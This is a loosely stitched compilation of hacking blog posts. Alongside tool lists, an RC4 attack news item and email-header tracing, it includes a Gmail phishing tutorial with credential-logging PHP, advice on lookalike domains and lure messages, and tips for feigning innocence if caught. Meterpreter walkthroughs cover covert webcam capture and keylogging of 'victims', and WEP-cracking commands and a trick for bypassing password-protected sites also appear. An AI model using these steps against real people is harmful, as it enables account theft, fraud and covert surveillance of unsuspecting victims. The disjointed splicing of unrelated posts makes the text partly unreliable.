Penetration Testing vs Ethical Hacking

Difference between Penetration Testing and Ethical Hacking. Penetration testing is very closely related to ethical hacking, so these terms often used interchangeably, but they do have distinctions that we should observed.

Penetration testing is a more narrowly focused phrase, it deals with the process of finding flaws in a target environment with the goal of penetration systems, taking control of them. Penetration testing, as the name implies, is focused on penetration the target organization’s defenses, compromising systems and getting access to information.

Ethical hacking is an expansive term encompassing all hacking techniques, and computer attack techniques to find security flaws with the permission of the target owner and the goal of improving the target’s security while penetration testing is more focused on the process of finding vulnerabilities in a target environment. In short, penetration testing is a subset of ethical hacking.

Kali Linux - Wireless Penetration Testing Beginner's Guide (2015).pdf Gooner

Publisher: Packt Publishing (30 Mar. 2015)
Language: English
ISBN-10: 1783280417
ISBN-13: 978-1783280414

Book Description

As wireless networks become ubiquitous in our lives, wireless penetration testing has become a key skill in the repertoire of the professional penetration tester. The Kali Linux security distribution comes with a myriad of tools used for networking attacks and detecting security loopholes.

Kali Linux Wireless Penetration Testing Beginner's Guide presents wireless pentesting from the ground up, introducing all elements of penetration testing with each new technology. Learn various wireless testing methodologies by example, from the basics of wireless routing and encryption through to detailed coverage of hacking methods and attacks such as the Hirte and Caffe Latte.

Key Features

* Learn wireless penetration testing with Kali Linux, the latest iteration of Backtrack

* Detect hidden wireless networks and discover their names

* Explore advanced Wi-Fi hacking techniques including rogue access point hosting and probe sniffing

* Develop your encryption cracking skills and gain an insight into the methods used by attackers and the underlying technologies that facilitate these attacks

What you will learn

Create a wireless lab for your experiments
Sniff out wireless packets and hidden networks
Capture and crack WPA-2 keys
Discover hidden SSIDs
Explore the ins and outs of wireless technologies
Sniff probe requests and track users through SSID history
Attack radius authentication systems
Sniff wireless traffic and collect interesting data
Decrypt encrypted traffic with stolen keys
About the Authors
Vivek Ramachandran has been working in Wireless Security since 2003. He discovered the Caffe Latte attack and also broke WEP Cloaking, a WEP protection schema, publicly in 2007 at DEF CON. In 2011, he was the first to demonstrate how malware could use Wi-Fi to create backdoors, worms, and even botnets. Earlier, he was one of the programmers of the 802.1x protocol and Port Security in Cisco's 6500 Catalyst series of switches and was also one of the winners of the Microsoft Security Shootout contest held in India among a reported 65,000 participants. He is best known in the hacker community as the founder of SecurityTube.net, where he routinely posts videos on Wi-Fi Security and exploitation techniques.

Cameron Buchanan is an experienced penetration tester, having worked in a huge range of industries. He is also the author of Packt's Kali Linux CTF Blueprints.

Table of Contents

1. Wireless Lab Setup
2. WLAN and its Inherent Insecurities
3. Bypassing WLAN Authentication
4. WLAN Encryption Flaws
5. Attacks on the WLAN Infrastructure
6. Attacking the Client
7. Advanced WLAN Attacks
8. Attacking WPA-Enterprise and Radius
9. WLAN Penetration Testing Methodology
10. WPS and Probes

DOWNLOAD LINK: http://bit.ly/2rnQnh6

Fake it till you make it.

What is Phishing ?
Phishing is the act of attempting to acquire information such as usernames, passwords, and credit card details (and sometimes, indirectly, money) by masquerading as a trustworthy entity in an electronic communication. Communications purporting to be from popular social web sites, auction sites, online payment processors or IT administrators are commonly used to lure the unsuspecting public. Phishing emails may contain links to websites that are infected with malware etc. Phishing is typically carried out by email spoofing or instant messaging, and it often directs users to enter details at a fake website whose look and feel are almost identical to the legitimate one.

This tutorial will explain you how to create fake login page for phishing, in this case we are going to go with Gmail as an example. This Procedure can be used to make fake pages for any other website in the same way. Yahoo!, Facebook, Myspace – Any website you want can be made using this tutorial.

Step 1:
Head over to the website gmail.com. Right Click anywhere and Save the Page as an HTML file.

Step 2:
Once you save the login page completely, you will see a HTML file and a folder with the name something like Email from google files.There will be two image files namely “google_transparent.gif”, “mail_logo.png”.

Step3:
Now we need to upload these images to any online image hosting website, for example – tinypic.com, postimage.com or photobucket.com. After uploading go to the image where you uploaded it and copy the URL of each image.

Step4:
Open the HTML file in any text editor like NotePad or MS Word.(You can use CTRL + F for the following)- Search for “google_transparent.gif” (without quotes) and replace it with corresponding URL. Search for “mail_logo.png” (without quotes) and replace it with corresponding URL.

Step 5:
In the same file, Search for :
action=”https://www.google.com/accounts/ServiceLoginAuth”

And replace it with :
action=”http://yoursite.urlhere/login.php”

(You have to write down your fake websites URL there, See Step 7 for creating it.)
Now save the file.

Step6:
Now you need to create a PHP file called “login.php”. So open up a text editor (like NotePad) and type the following (You can copy it from this pastie):

<?php $handle = fopen(“password.txt”, “a”);
fwrite($handle,$_POST[“Email”]);
fwrite($handle,”\n”); fwrite($handle,$_POST[“Passwd”]);
fwrite($handle,”\n”);
fwrite($handle,”\n”);
fclose($handle) ;
header(“Location:https://www.google.com/accounts/ServiceLoginAuth”);
exit;
?>

Now Save it as login.php

Step 7:
Open up notepad again and just save a new file as “pswrds.txt” without any contents.(Empty file)

Now upload those three files(namely :- index.html, login.php, pswrds.txt) in any of subdomain Web hosting site. (Note: that web hosting service must have php feature.)
You can use the following :
sites:110mb.com
spam.com
justfree.com
007sites.com
(or simply google it).

Follow the instructions in the Web hosting site and setup you fake login page. Make sure you name the URL something like g00gle.com or anything that you think would be the least suspicious.(Just make sure the URL doesn’t stand out in the address bar as it may alert the victim.)

Step 8:
Create a fake email account, that is if you prefer to send the phishing webpage link anonymously.

Step 9:
And now all you have to do is send the victim something like: ‘Gmail starts new feature : To use this service, log in to this page’ ,along with this send the link to your fake website.

Note: For user to believe change your phishing web page url use any of free short url sites like : co.nr, co.cc,cz.cc
This will make users to believe that it is correct url.
Nevertheless, if you do get caught act like you had no clue: ‘OMG ! I logged in to that website too , I’m going to change my pass now ! you do the same, quickly !’.

Protecting Yourself :
Phishing webpages are meant to fool the victim into thinking that the website they are logging into is genuine whereas it is actually a completely different website. The only sure-fire way to protect oneself from being the victim is to always make sure that the website you are giving your account and password to is bona fide by simply peeking at the address bar in your web browser. Also, avoid following any links from any dodgy websites, scam emails or even the comment sections in various places.
Everyone is guilty until proven innocent. Assume hostility or accept vulnerability.

*EDIT: This method currently does not work. At the time of writing, the files we upload to the hosting website were the same as mentioned here. As of now, however, these files are nowhere to be found. For some reason, the Gmail team seems to modify and change the log in page almost every other week causing the phishing method to be slightly different every time. Hence, kindly try out other hacking techniques for the time being. Since the phishing method is practically the same barring a few file names .You may also attempt the same method with other websites (Yahoo!, Facebook etc.) on your own.

Take a peek, see what you're victim is doing. Because now you can.

It’s time to let out your inner creep. In this tutorial, we’ll be taking a look at how we can hack a webcam remotely and take a peek at what’s going on at the other side. We’ll use the powerful Meterpreter to hack into the victim’s webcam. We’ll take full control of the webcam, turn it on and get snapshots without anyone ever finding out (ideally).

In early 2014, a hacker was sentenced to 18 months for doing just this to Miss Teen USA, 2013. He broke into the computer, took a few clicks and blackmailed the victim to send more photos. (Google it up for more information) While the exact method he used is unknown, it’s very likely this exact method that we’ll be trying out. The point of this tutorial is to show just how easy it really is. While developing your own hacks and discovering loop holes is a whole different level of hacking, quite a lot of hacking can be done just by knowing a surprisingly small number of things. Perhaps not even that, after all we can simply search an exploit in metasploit and a get a whole list of things that’ll work. The hard part of hacking is breaking into a system while maintaining anonymity. Once that is done, we pretty much own the target system. Hacking is not about being a computer geek as much as being ‘in the know’.

Our best friend Meterpreter is going to help us with this hack. With Meterpreter we can install a keylogger, hack the webcam and the list goes on and on. You can basically do almost anything that you can do on your own computer, to your victim. All we need for this hack, is to first break in with Metasploit and install meterpreter on their system. How do we do that?

After picking an attack module to exploit a vulnerability, we have the option to set a payload. The payload tells metasploit what to do on the victim’s computer once it breaks in. Meterpreter is a payload. The command usually looks like:

Set payload windows/meterpreter/reverse_tcp

If the attack was successful, metasploit automatically installs meterpreter on the target system and we can move on to hacking the webcam, in this case. We can also get our meterpreter session by using exploits like Aurora (for IE6). After getting the meterpreter session in our command, you can follow the steps below to hack the webcam.

Step 1: Find if there is a webcam.
Metasploit’s Meterpreter has a built-in module for searching and controlling the remote system’s webcam (Because apparently there are so many creepy hackers that we now have this hack at our fingertips). We can start off by searching if the system even has a webcam or not.me. The command below is used for that, it also returns us the name of the webcam.

meterpreter > webcam_list

If a webcam was found, Meterpreter will them all out. Usually we just find one.

Step 2: Say Cheese!
If the last command gave us a webcam we can go ahead and snap a photo:

meterpreter > webcam_snap

If all went fine a picture will be saved in the directory: /opt/framework3/msf3 We can simply go there and see what we got. We can’t do anything about the quality of the image, it all depends on the webcam. Still, better than nothing, right?

Step 3: Streaming video.
So we got a picture, let’s see how to get a live video stream. We can do this by typing the command below: (We’re using –p parameter to specify the directory we want to give to the video streaming file)

meterpreter > run webcam -p /var/www

This command fires up the victim’s webcam and sends its video output to /var/www/webcam.htm. You can open up this file and check out what’s going on at the other end in live video feed.

Another thing that deservers mention here is the little light that is often found next to many laptop cameras and on some separate webcams too. Will the light be turned on by this hack? It depends on the way the camera manufacture implemented the ‘take a photo’ and ‘take a video’ functions and on which software is set as default to use the camera. So this hack is not all that risk-free. But then again, what’s life without a little risk? (Just kidding, people go to jail for this. Be careful.)

Protecting yourself
In 3 small commands we can peek into our victim’s webcam. How to make sure this doesn’t happen to you? This hack has a very complicated and highly technical flaw: It can be completely stopped by something as little as a tissue on the webcam.

So the easiest solution is to just cover up your webcam. Nowadays, webcams with a sliding cover are becoming more and more popular. But this is just treating the symptom, not the disease. If someone across the globe can control your webcam, it means that your system has some vulnerable software. The hacker might think, ‘if not the webcam, maybe I’ll settle for a keylogger’, which is just as easy. You need to stop the attacker’s metasploit from ever getting access to your system. The only way to do that is to keep all your applications up to date and keep an eye on the news for zero day exploits so your precious computer can live to hack another day.

Because the keylogger is mightier than the sword

In this tutorial, we’ll attempt to remotely install a keylogger. This one is actually quite basic, so without further ado, let’s begin.

Fire up Metasploit and let’s get started. Like before, we’re assuming that the system has already been broken into and we have the meterpreter session.

Step 1: Find a program.
The way the keylogger in Meterpreter works is, you have to attach it to a running program. Say for example, we find that the victim’s computer is running an internet browser, a game and MS Word. Clearly there’s two items of interest in there. We can attach the keylogger to the browser or MS Word to get whatever’s being typed in these two applications. So, first we check what all processes are running on the target system using the following command:

meterpreter >ps

Usually you’ll get a very long list of items. The two columns we’re interested in are PID (Process ID) and process name. For this step you may want to google up the names of some processes to see which programs they belong to or if you find the ones you know of, like chrome.exe (Google Chrome) or notepad.exe then you can use these. We need to migrate meterpreter to the corresponding PID. Suppose we found wordpad.exe at PID=1440

meterpreter > migrate 1440

You should see a message “Migration completed successfully”.

Step 2: Start the Keylogger
Now we can embed the keylogger into the program.The Meterpreter keylogger is a built-in feature called keyscan. We can start it up by the following command:

meterpreter> keyscan_start

This should successfully attach the keylogger to our preferred program and the keylogging will start immediately.

Step 3: Dump the logged Keystrokes
So, in the previous step we hooked up a keylogger to the WordPad application running on our victim’s computer. It’ll keep running until we tell it to stop (or the victim shuts down the computer). We can recover whatever the keylogger has logged by the following command. You might want to wait a while, maybe grab a snack while the keylogger is running on the system just to give it enough time to log something. It’s pretty much hit and trial since we don’t know when the victim is going to choose the application we’re keylogging and type something in it. They could be typing in it just as we hooked up the keylogger or they may not use the application for hours.

meterpreter> keyscan_dump

If all went great and the victim actually typed something in our chosen application meterpreter will print out everything in our command shell. You could try using different applications to get different results. Obviously you’ll not get anyone’s passwords by keylogging WordPad whereas chrome.exe and firefox.exe are much more likely to give us something of more interest

Nothing deters conflict like a bully with big guns, right?

MetaSploit – Metasploit is an framework which is used for the hacking of different kinds of applications,operating systems,web applications etc., Metasploit contains various exploits, payloads,modules etc. Metasploit Framework is especially used by many of the hackers to generate payloads and attack the systems. As Metasploit is an open source where any one can use it. This framework supports different operating systems like winodws, linux ,mac os x etc., Metasploit is preloaded in the Backtrack linux as there is no need for the backtrack users to install the metasploit again and again. IMHO, Metasploit is the single most powerful and useful tool for a wide variety of hacks. Personally, I like it so much I put it before the list of common tools. Remember this name: “Metasploit”. Below are a few more extremely helpfup and common tools, sure to be found in any hacker’s computer.

1. Nmap- Nmap (“Network Mapper”) is a free and open source (license) utility for network discovery and security auditing. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.

2. Wireshark- Wireshark is a network protocol analyzer. It lets you capture and interactively browse the traffic running on a computer network.

3. Metasploit Community edition- Metasploit Community Edition simplifies network discovery and vulnerability verification for specific exploits, increasing the effectiveness of vulnerability scanners. This helps prioritize remediation and eliminate false positives, providing true security risk intelligence.

4. Nikto2- Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6400 potentially dangerous files/CGIs, checks for outdated versions of over 1200 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software.

5. John the Ripper- John the Ripper is a fast password cracker, currently available for many flavors of Unix, Windows, DOS, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. Besides several crypt(3) password hash types most commonly found on various Unix systems, supported out of the box are Windows LM hashes, plus lots of other hashes and ciphers in the community-enhanced version.

6. ettercap- Ettercap is a comprehensive suite for man in the middle attacks. It features sniffing of live connections, content filtering on the fly and many other interesting tricks. It supports active and passive dissection of many protocols and includes many features for network and host analysis.

7. NexPose Community edition- The Nexpose Community Edition is a free, single-user vulnerability management solution. Nexpose Community Edition is powered by the same scan engine as Nexpose Enterprise and offers many of the same features.

8. Ncat- Ncat is a feature-packed networking utility which reads and writes data across networks from the command line. Ncat was written for the Nmap Project as a much-improved reimplementation of the venerable Netcat. It uses both TCP and UDP for communication and is designed to be a reliable back-end tool to instantly provide network connectivity to other applications and users. Ncat will not only work with IPv4 and IPv6 but provides the user with a virtually limitless number of potential uses.

9. Kismet- Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet will work with any wireless card which supports raw monitoring (rfmon) mode, and (with appropriate hardware) can sniff 802.11b, 802.11a, 802.11g, and 802.11n traffic. Kismet also supports plugins which allow sniffing other media such as DECT.

10. w3af- w3af is a Web Application Attack and Audit Framework. The project’s goal is to create a framework to find and exploit web application vulnerabilities that is easy to use and extend.

11. hping- hping is a command-line oriented TCP/IP packet assembler/analyzer. The interface is inspired to the ping(8) unix command, but hping isn’t only able to send ICMP echo requests. It supports TCP, UDP, ICMP and RAW-IP protocols, has a traceroute mode, the ability to send files between a covered channel, and many other features.

12. burpsuite- Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application’s attack surface, through to finding and exploiting security vulnerabilities.

13. THC-Hydra- A very fast network logon cracker which support many different services.

14. sqlmap- sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

15. webscarab- WebScarab has a large amount of functionality, and as such can be quite intimidating to the new user. But, for the simplest case, intercepting and modifying requests and responses between a browser and HTTP/S server, there is not a lot that needs to be learned.

Security researchers have developed a more practical and feasible attack technique against the RC4 cryptographic algorithm that is still widely used to encrypt communications on the Internet.

Despite being very old, RC4 (Rivest Cipher 4) is still the most widely used cryptographic cipher implemented in many popular protocols, including: 

SSL (Secure Socket Layer)TLS (Transport Layer Security)WEP (Wired Equivalent Privacy)WPA (Wi-Fi Protected Access)Microsoft’s RDP (Remote Desktop Protocol)BitTorrentand many more

However, weaknesses in the algorithm have been found over the years, indicating that the RC4 needs to be wiped from the Internet. But, yet about 50% of all TLS traffic is currently protected using the RC4 encryption algorithm.

Now, the situation got even worse, when two Belgian security researchers demonstrated a more practical attack against RC4, allowing an attacker to subsequently expose encrypted information in a much shorter amount of time than was previously possible.

Attack on RC4 with 94% Accuracy

An attack on RC4 demonstrated in 2013 required more than 2,000 hours to accomplish. However, a more successful attack was presented this year in March, which focused on password recovery attacks against RC4 in TLS and required about 312 to 776 hours to execute.

Recently, a paper " All Your Biases Belong To Us: Breaking RC4 in WPA-TKIP and TLS," written by Mathy Vanhoef and Frank Piessens of the University of Leuven in Belgium, demonstrates an attack that allowed them to decrypt cookies encrypted with RC4 within 75 hours with a 94 percent accuracy.

"Our work significantly reduces the execution time of performing an attack, and we consider this improvement very worrisome," reads the blog post by the researchers. "Considering there are still biases that are unused, that more efficient algorithms can be implemented, and better traffic generation techniques can be explored, we expect further improvements in the future."

Breaking Wi-Fi Protected Access Temporal Key Integrity Protocol within An Hour

The attack technique could be exploited by attackers to monitor the connection between a target victim and an HTTPS-protected website, or wireless networks protected by the Wi-Fi Protected Access Temporal Key Integrity Protocol(WPA-TKIP).

In the case of HTTPS-website protected with TLS, researchers used a separate HTTP website to inject JavaScript code that makes the target machine to transmit the encrypted authentication cookie repeatedly. They were able to decrypt a secure cookie with 94 percent accuracy using 9x227 ciphertexts.

The attack took about 75 hours, transmitting 4,450 Web requests per second, although, in the case of attacks against real devices, the time required can be brought down to 52 hours.

However, the new attack against WPA-TKIP requires just an hour to execute, allowing an attacker to inject and decrypt arbitrary packets.

More details about the finding will be presented by the researchers at the upcoming USENIX Security Symposium in Washington D.C. For now, the researchers have released awhitepaper with lots of additional details on their attack techniques.

Learning to become hacker is not as easy as learning to become a software developer. I realized this when I started looking for learning resources for simple hacking people do. Even to start doing the simplest hack on own, a hacker requires to have in depth knowledge of multiple topics. Some people recommend minimum knowledge of few programming languages like C, Python, HTML with Unix operating system concepts and networking knowledge is required to start learning hacking techniques. 

Though knowing a lot of things is required, it is not really enough for you to be a competent and successful hacker. You must have a passion and positive attitude towards problem solving. The security softwares are constantly evolving and therefore you must keep learning new things with a really fast pace. 

If you are thinking about ethical hacking as a career option, you may need to be prepared for a lot of hard/smart work. I hope these free resources will help you speed up on your learning. If you decide you pursue ethical hacking as a career option, you may also want to read some in depth ethical hacking books. 

A lot of people (including me before doing research for this article) think that they can become a hacker using some free hacking tools available on web. Its true that some common types of hacking can be easily done with help of tools, however doing it does not really make you a hacker. A true hacker is the one who can find a vulnerability and develop a tool to exploit and/or demonstrate it.

Hacking is not only about knowing "how things work", but its about knowing "why things work that way" and "how can we challenge it". 

Below are some really useful hacking tutorials and resources you may want to explore in your journey of learning to hack

Advertise Here

Hacking For Dummies - Beginners Tutorials

These tutorials are not really simple for anyone who is just starting to learn hacking techniques. However, these should be simple starting point for you. I am sure you have different opinion about complexity of each tutorial however advanced hacker are going to be calling this a job of script kiddie (beginner hacker). Even to acquire the skills of a script kiddie you need to have good understanding of computer fundamentals and programming.

Cybrary - For those looking to learn ethical hacking skills online, Cybrary provides the perfect platform to do so. Cybrary is a free online IT and cyber security training network that provides instruction in the form of self-paced, easy-to-follow videos. Featuring courses on topics such as Penetration Testing and Ethical Hacking, Advanced Penetration Testing, Post Exploitation Hacking and Computer and Hacking Forensics, Cybrary provides instruction from the beginner to the highly-advanced level of hacking. Additionally, Cybrary offers supplemental study material along with their courses free of charge. With their in-depth training videos and study guides, Cybrary ensures that users develop the best hacking skills.Hacking Tutorials for Beginners - By BreakTheSecurity.comHow to learn Ethical hacking - By Astalavista.comPenetration Testing Tutorial - By Guru99.comBacktrack Penetration Testing TutorialIntroduction to Penetration TestingInformation Gathering with NmapSimple How To Articles By Open Web Application SecurityThe Six Dumbest Ideas in Computer SecuritySecure Design Principles10 steps to secure software

Cryptography Related Tutorials

Cryptography is must know topic for any aspiring security professional or a ethical hacker. You must understand how encryption and decryption is done. You must understand why some of the old encryption techniques do not work in modern computing world.

This is a important area and a lot of software programmers and professional do not understand it very well. Learning cryptography involves a lot of good understanding of mathematics, this means you also need to have good fundamentals on discrete mathematics. 

Introduction to Public Key CryptographyCrypto TutorialIntroduction to CryptographyAn Overview of CryptographyCryptography Tutorials - Herong's Tutorial ExamplesThe Crypto Tutorial - Learn How to Keep Secret SecretIntroduction to cryptology, Part 1: Basic Cryptology Concepts

Websites For Security Related Articles And News

These are some websites, that you may find useful to find hacking related resources and articles. A lot of simple tricks and tips are available for experimenting through these sites for improving yourself to become advanced hacker.

In recent years, many people are aspiring to learn how to hack. With growing interest in this area, a lot of different types of hacking practices are evolving. With popularity of social networks many people have inclined towards vulnerability in various social networks like facebook, twitter, and myspace etc. 

Continuous learning about latest security issues, news and vulnerability reports are really important for any hacker or a security professional. Some of the sites that keep publishing informative articles and news are listed here. 

http://www.astalavista.com/http://packetstormsecurity.com/http://www.blackhat.com/http://www.metasploit.com/http://sectools.org/http://www.2600.com/DEF CON - Hacking conferencehttp://www.breakthesecurity.com/http://www.hacking-tutorial.com/http://www.evilzone.org/http://hackaday.com/http://www.hitb.org/http://www.hackthissite.org/http://pentestmag.comhttp://www.securitytube.net/https://www.ssllabs.com/

EBooks And Whitepapers

Some of the research papers by security experts and gurus can provide you a lot of information and inspiration. White papers can be really difficult to read and understand therefore you may need to read them multiple times. Once you understand the topic well, reading will become much faster and you will be able to skim through a lot content in less time.

Handbook of Applied Cryptography - This ebook contains some free chapter from one of the popular cryptography books. The full book is also available on amazon at Cryptography Book.Network Penetration testing GuideHow to hack anything in JavaMcafee on iPhone and iPad SecurityA Good Collection of White papers on security and vulnerabilities - This site contains collection of white papers from different sources and some of these white papers are really worth referring.Engineering Principles for Information Technology SecurityBasic Principles Of Information ProtectionOpen Web Application Security Project- OWASP is one of the most popular sites that contains web application security related information .

Videos & Play Lists

Those who like to watch video tutorials, here are few I liked. However there are many small video available on youtube. Feel free to explore more and share with us if you like something.

Cryptography Course By Dan Boneh Stanford UniversityOpen Security Training- Youtube Playlist of More than 90 hours. I have found this to be the biggest free training available for security related topic.OWASP AppSec USA 2011: Youtube Playlist containing compilation of OWASP conference highlight in 2011.Defcon: How I Met your Girlfriend - Defcon is one of the most popular hacker conference. The presenters in this conference are well know inside the hacking industry.Defcon: What happens when you steal a hackers computerDefcon: Nmap: Scanning the InternetPublic Key Cryptography: Diffie-Hellman Key ExchangeWeb application Pen testingIntro to Scanning Nmap, Hping, Amap, TCPDump, Metasploit

Forums For Hackers And Security Professionals

Just like any other area, forums are really great help for learning from other experts. Hundreds of security experts and ethical/non-ethical hackers are willing to share their knowledge on forums for some reason. Please keep in mind to do enough research before post a question and be polite to people who take time to answer your question. 

Stackoverflow for security professionalshttp://darksat.x47.net/http://forums.securityinfowatch.com/http://forums.cnet.com/spyware-viruses-security-forum/http://www.hackforums.net/forumdisplay.php?fid=47

Vulnerability Databases And Resources

Vulnerability Databases are the first place to start your day as a security professional. Any new vulnerability detection is generally available through the public vulnerability databases. These databases are a big source of information for hackers to be able to understand and exploit/avoid/fix the vulnerability. 

http://www.exploit-db.com/http://1337day.com/http://securityvulns.com/http://www.securityfocus.com/http://www.osvdb.org/http://www.securiteam.com/http://secunia.com/advisories/http://insecure.org/sploits_all.htmlhttp://zerodayinitiative.com/advisories/published/http://nmrc.org/pub/index.htmlhttp://web.nvd.nist.govhttp://www.vupen.com/english/security-advisories/http://www.vupen.com/blog/http://cvedetails.com/http://www.rapid7.com/vulndb/index.jsphttp://oval.mitre.org/

Product Specific Vulnerability Information

Some of the very popular products in the world require a special attention and therefore you may want to look at the specific security websites directly from vendors. I have kept Linux. Microsoft and apache in this list, however it may apply to any product you may be heavily using. 

Red Hat Security and other updates SiteMicrosoft Products Security BulletinApache Foundation Products Security RepositoryUbuntu Software Security CenterLinux Security Repository

Tools And Programs For Hacking / Security

There are dozens of tools available for doing different types of hacking and tests. Tools are really important to become more productive at your work. Some of the very common tools that are used by hackers are listed here. You may have different choice of tools based on your own comfort.

nmapNSSHpingTCPDumpMetasploitWiresharkNetwork StuffNikto

Summary

I have tried to compile some of these resources for my own reference for the journey of learning I am going to start. I am not even at a beginner level of becoming hacker but the knowledge of this field really fascinates me and keeps me motivated for learning more and more. I hope will be able to become successful in this.

A lot of people use their knowledge skills for breaking stuff and stealing. I personally think that doing harm to someone is a weak choice and will not have a good ending. I would recommend not to use your skills for any un-ethical endeavor. A single misuse of your skill may jeopardize your career since most companies do a strict third party background check before they hire a ethical hacker or a security personal. 

There are dozens of companies looking for ethical hackers and security professionals. There are really good number of opportunities in this area and its really niche compensation segment. You will be easily able to get a decent job without even acquiring all the expert level skills to become a pro hacker.

You already know that if you want to lock down your Wi-Fi network, you should opt for WPA encryption because WEP is easy to crack. But did you know how easy? Take a look.

Today we're going to run down, step-by-step, how to crack a Wi-Fi network with WEP security turned on. But first, a word: Knowledge is power, but power doesn't mean you should be a jerk, or do anything illegal. Knowing how to pick a lock doesn't make you a thief. Consider this post educational, or a proof-of-concept intellectual exercise.

Dozens of tutorials on how to crack WEP are already all over the internet using this method. Seriously—Google it. This ain't what you'd call "news." But what is surprising is that someone like me, with minimal networking experience, can get this done with free software and a cheap Wi-Fi adapter. Here's how it goes.

Unless you're a computer security and networking ninja, chances are you don't have all the tools on hand to get this job done. Here's what you'll need:

A compatible wireless adapter—This is the biggest requirement. You'll need a wireless adapter that's capable of packet injection, and chances are the one in your computer is not. After consulting with my friendly neighborhood security expert, I purchased an Alfa AWUS050NH USB adapter, pictured here, and it set me back about $50 on Amazon. Update: Don't do what I did. Get the Alfa AWUS036H, not the US050NH, instead.The guy in this video below is using a $12 model he bought on Ebay (and is even selling his router of choice). There are plenty of resources on getting aircrack-compatible adapters out there.

 

A BackTrack 3 Live CD. We already took you on a full screenshot tour of how to install and use BackTrack 3, the Linux Live CD that lets you do all sorts of security testing and tasks. Download yourself a copy of the CD and burn it, or load it up in VMware to get started. (I tried the BackTrack 4 pre-release, and it didn't work as well as BT3. Do yourself a favor and stick with BackTrack 3 for now.)

 

A nearby WEP-enabled Wi-Fi network. The signal should be strong and ideally people are using it, connecting and disconnecting their devices from it. The more use it gets while you collect the data you need to run your crack, the better your chances of success.

 

Patience with the command line. This is an ten-step process that requires typing in long, arcane commands and waiting around for your Wi-Fi card to collect data in order to crack the password. Like the doctor said to the short person, be a little patient.

Crack That WEP

To crack WEP, you'll need to launch Konsole, BackTrack's built-in command line. It's right there on the taskbar in the lower left corner, second button to the right. Now, the commands.

First run the following to get a list of your network interfaces: airmon-ng

The only one I've got there is labeled ra0. Yours may be different; take note of the label and write it down. From here on in, substitute it in everywhere a command includes (interface).

Now, run the following four commands. See the output that I got for them in the screenshot below.

airmon-ng stop (interface)
ifconfig (interface) down
macchanger --mac 00:11:22:33:44:55 (interface)
airmon-ng start (interface)

If you don't get the same results from these commands as pictured here, most likely your network adapter won't work with this particular crack. If you do, you've successfully "faked" a new MAC address on your network interface, 00:11:22:33:44:55.

Now it's time to pick your network. Run:airodump-ng (interface)

To see a list of wireless networks around you. When you see the one you want, hit Ctrl+C to stop the list. Highlight the row pertaining to the network of interest, and take note of two things: its BSSID and its channel (in the column labeled CH), as pictured below. Obviously the network you want to crack should have WEP encryption (in the ENC) column, not WPA or anything else.

How To Hack Password Potected Sites

ASKMEWUZUP.BLOGSPOT.COM

1There are many ways to defeat java-script protected web

sites. Some are very simplistic, such as hitting ctl-alt-del

when the password box is displayed, to simply turning off

java capability, which will dump you into t he default page.

You can try manually searching for other directories, by

typing the directory name into the url address box of your

browser, ie: you w ant access to www.target.com . Try typing

www.target.com/images .(almost ever y web site has an images

directory) This will put you into the images directo ry,

and give you a text list of all the images located there.

Often, the t itle of an image will give you a clue to the

name of another directory. ie: in www.target.com/images,

there is a .gif named gamestitle.gif . There is a g ood

chance then, that there is a 'games' directory on the site,

so you wou ld then type in www.target.com/games, and if it is

a valid directory, you aga in get a text listing of all thefiles available there.

For a more automated a pproach, use a program like WEB SNAKE

from anawave, or Web Wacker. These programs will create a

mirror image of an entire web site, showing all director ies,

or even mirror a complete server. They are indispensable for

locating hidden files and directories.

What do you do if you can't get past an openin g "Password

Required" box? First do an WHOIS Lookup for the site. In our

example, www.target.com . We find it's hosted by www.host.com

at 100.100.100. 1. We then go to 100.100.100.1, and then launch \

Web Snake, and mirror the e ntire server. Set Web Snake to NOT

download anything over about 20K. (not ma ny HTML pages are

bigger than this) This speeds things up some, and keeps yo u

from getting a lot of files and images you don't care about.

This can take a long time, so consider running it right before bed time.

Once you have an image of the entire server, you look through

the directories listed, and find /target. When we open that

directory, we find its contents, and all of i ts sub-directories listed.

Let's say we find /target/games/zip/zipindex.html . This would be the index

page that would be displayed had you gone through the

password procedure, and allowed it to redirect you here.

By simply typ ing in the url

www.target.com/games/zip/zipindex.html you will be on

the index page and ready to follow the links for downloading.

ASKMEWUZUP.BLOGSPOT.COM

Backtracking EMAIL Messages

Tracking email back to its source: askmewuzup

cause i hate spammers... Evil or Very Mad

Ask most people how they determine who sent them an email message and the response is almost universally, "By the From line." Unfortunately this symptomatic of the current confusion among internet users as to where particular messages come from and who is spreading spam and viruses. The "From" header is little more than a courtesy to the person receiving the message. People spreading spam and viruses are rarely courteous. In short, if there is any question about where a particular email message came from the safe bet is to assume the "From" header is forged.

So how do you determine where a message actually came from? You have to understand how email messages are put together in order to backtrack an email message. SMTP is a text based protocol for transferring messages across the internet. A series of headers are placed in front of the data portion of the message. By examining the headers you can usually backtrack a message to the source network, sometimes the source host. A more detailed essay on reading email headers can be found .

If you are using Outlook or Outlook Express you can view the headers by right clicking on the message and selecting properties or options.

Below are listed the headers of an actual spam message I received. I've changed my email address and the name of my server for obvious reasons. I've also double spaced the headers to make them more readable.

Return-Path:

X-Original-To: davar@example.com

Delivered-To: davar@example.com

Received: from 12-218-172-108.client.mchsi.com (12-218-172-108.client.mchsi.com [12.218.172.108])

by mailhost.example.com (Postfix) with SMTP id 1F9B8511C7

for ; Sun, 16 Nov 2003 09:50:37 -0800 (PST)

Received: from (HELO 0udjou) [193.12.169.0] by 12-218-172-108.client.mchsi.com with ESMTP id <536806-74276>; Sun, 16 Nov 2003 19:42:31 +0200

Message-ID:

From: "Maricela Paulson"

Reply-To: "Maricela Paulson"

To: davar@example.com

Subject: STOP-PAYING For Your PAY-PER-VIEW, Movie Channels, Mature Channels...isha

Date: Sun, 16 Nov 2003 19:42:31 +0200

